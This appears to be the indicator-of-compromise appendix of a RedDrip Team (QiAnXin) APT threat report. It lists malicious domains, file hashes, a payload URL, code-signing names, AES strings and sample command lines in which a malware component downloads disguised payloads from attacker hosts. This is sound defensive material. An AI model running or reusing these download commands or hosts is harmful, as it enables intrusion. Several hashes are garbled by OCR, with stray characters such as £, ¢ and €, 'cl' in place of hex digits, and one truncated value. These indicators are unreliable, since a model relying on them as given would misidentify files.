online.stienollmache.xyz
image.fontstaticloader.com
mappingpotentials.com
vnbizcom.com
cdn3.onlinesurveygorilla.com
eworldship-news.com
enormousamuses.com
163mailservice.com
stackbio.com
mailserviceactivation.com
web.dalalepredaa.com
rio.imbandaad.com

pl2.alerentice.com

Bait files
fd128b9f0cbdc374227cf5564371aacc
4a0144c7436e3ff67cf2d935d82d1743

4c30e792218d5526£6499d235448bdd9
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d8a5a375da7798be781cf3eab689ae7ab

2d3fb8d5b4cefc9660d98e0ad46ff91a

89e3f31¢6261f4725b891c8fd29049c9

7b0e819bd8304773c3648ab03c9f182a

c4d35f3263fef4a533e7403682a034c3

b1df440e5dd64ffae9f7e792993f2f4c

a76be0181705809898d5d7d9aed86ee8

2785311085b6ca782b476d9c2530259¢

60501717f81eacd54facecf3ebadc306

3d7cd531d17799832e262eb7995abde6

c7931fa4c144clc4dcl9ad4cdlclel 7

Correlated files:

5c9ef8b5263651a08ealb79057a5ee28

b858c08cf7807e462ca335233bd83fe7

c313f8a5fd8ca391fc85193bc879ab02

473fdfefa92725099ca87e992edbc92c

02cec2f17a7910b6fa994f340bbbc297

dd5ae0c0a7e17d101f570812fec4e5e4

90e5ff68bf06cb930ed8c040139c4650

6db450c4c756071ecafff425d6183d7d

cb39e2138af92c32e53c97c0aa590d48

8e13895504e643cd8e0e87377b25bd6b

d3c27£779d615a1d3a35dff5e9561eb0

27425360d18feea54860420006ea9833

cf0142da12509f544a59093495c3a6dd

b1df440e5dd64ffae9f7e792993f2f4c
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878fa022bd5e5caf678fe8d728ced2ee
f78be074f6bc67a712e751254df5f166
e2aed850c18449a43886fc79b342132f
74b456adf2ae708789fb2d34eccchb954
72263750df84e24fe645206a51772c88
3a574c28beca4f3c94d30e3cf3979f4c
ee836e0f7a40571523bf56dba59898f6
f6068b672a19ce14981df011a55081e4

00ac0d7337290b74bdd7f43ec4a67ddb

Correlated PE files:
2f9af6b9d73218¢578653d6d9bd02d4d

€9d29501410e19938cd8e01630dc677b

URL:
http[:]//download-attachments.s3.amazonaws.com/db08b565038ac83e89e7b55201479f37ead49e525/f0c6ea8e-
d2£8-445f-b649-57808b2015b7

Sample characteristics

ZA:\Code\Macro_NB2\Request\PostData32.exe -u https://word.webhop.info/blak32.gif -t 200000
ZA:\Code\Macro_NB2\Request\PostData32.exe -u https://syn.servebbs.com/kuss32.gif -t 200000
UA:\Code\Nb2VBS\Request\PostData32.exe -u https://ristineho.com/threex32.png -t 60000
XA:\Code\Macro_NB2\Request\PostData32.exe -u https://cortanasyn.com/kirr32.png -t 200000
C:\Users\WIN7UTL64\Desktop\Macro_NB2_new\Request\PostData32.exe

{C:\Users\WIN7UTL64\Desktop\Macro_NB2_new\Request\PostData32.exe -u
https://office.allsafebrowsing.com/fdsw32.png -t 240000

SecurityAndMaintenance_Error.bin
d:\work\malware\vinacap\SecurityAndMaintenance_Error.png

d:\work\forensics\vinacap\dfir\nhule\files\Security AndMaintenance_Error.png
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D:\work\forensics\vinacap\DFIR\Nhule\files\Security AndMaintenance_Error.png

MAC signatures :
Melinda Cline (P74QRJXB2F)

DAVID DOWELL (B5YH6VDVRE)

AES KEY :
Decrypted String 4FE620ABEDAFB4D9866CCI9DIC2D29E2D7EA18ADF1
Encrypted Packet 07E74FF2CE9688C8F79B91AB32C95D11C140D3AC
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Appendix

RedDrip Team

RedDrip Team of QiAnXin (Formly SkyEye Team), founded in 2015, focuses on the research of APT attacks. As
the first team of revealing OceanLotus (APT-C-00) attack, RedDrip Team is also a key part of QiAnXin Threat

Intelligence Center.

Our team has security analysts, developers, covering full cycle of threat intelligence operation: data sourcing,
processing, analyzing, and correlation. Our threat intelligence supports QiAnXin products and third party

products.

Relying on leading security data capacity and security expertise, we found several noteworthy APT campaigns,

including OceanLotus.

Follow us in WeChat
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